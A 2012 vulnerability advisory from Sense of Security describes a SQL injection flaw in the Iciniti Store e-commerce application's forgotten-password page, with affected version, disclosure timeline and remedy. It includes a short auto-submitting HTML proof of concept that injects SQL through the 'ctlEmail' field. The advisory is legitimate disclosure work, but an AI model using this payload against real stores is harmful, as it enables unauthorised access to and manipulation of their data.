| | |
|---|---|
| Sense of Security | Authorisation.<br>Jason Edelstein |
| | Release date.<br>07 March 2012. |

**Sense of Security – Security Advisory – SOS-12-003.**

**Iciniti Store SQL Injection Vulnerability.**

07 March 2012.

| | |
|---|---|
| Sense of Security | Authorisation.<br>Jason Edelstein |
| | Release date.<br>07 March 2012. |

**Iciniti Store SQL Injection Vulnerability - Security Advisory - SOS-12-003**

| | |
|---|---|
| **Release Date.** | 07-Mar-2012 |
| **Last Update.** | - |
| **Vendor Notification Date.** | 28-Jul-2011 |
| **Product.** | Iciniti Store |
| **Platform.** | Windows |
| **Affected versions.** | 4.3.3683.31484 verified, and possibly others |
| **Severity Rating.** | High |
| **Impact.** | Manipulation of data |
| **Attack Vector.** | Remote without authentication |
| **Solution Status.** | Update is available by contacting Iciniti |
| **CVE reference.** | CVE - not yet assigned |

**Details.**

Iciniti Store is a web application providing e-commerce and payment solutions.

The application suffers from a SQL injection vulnerability in logon_forgot_password.aspx. It fails to validate data supplied in the 'ctlEmail' variable before being used in an SQL query.

**Proof of Concept.**

```
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action=" http://x.x.x.x/logon_forgot_password.aspx"
name="form" method="POST">
<input type="text" name="ctlEmail" value="SELECT @@VERSION">
```

```
<input type="text" name="btnSubmit" value="Submit">
</form>
</body>
</html>
```

**Solution.**

Update is available by contacting Iciniti.

**Discovered by.**

Sense of Security Labs.

**About us.**

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier application penetration testing firm and trusted IT security advisor to many of the country's largest organisations.

Sense of Security Pty Ltd

Level 8, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au
Twitter: @ITsecurityAU

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-12-003.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php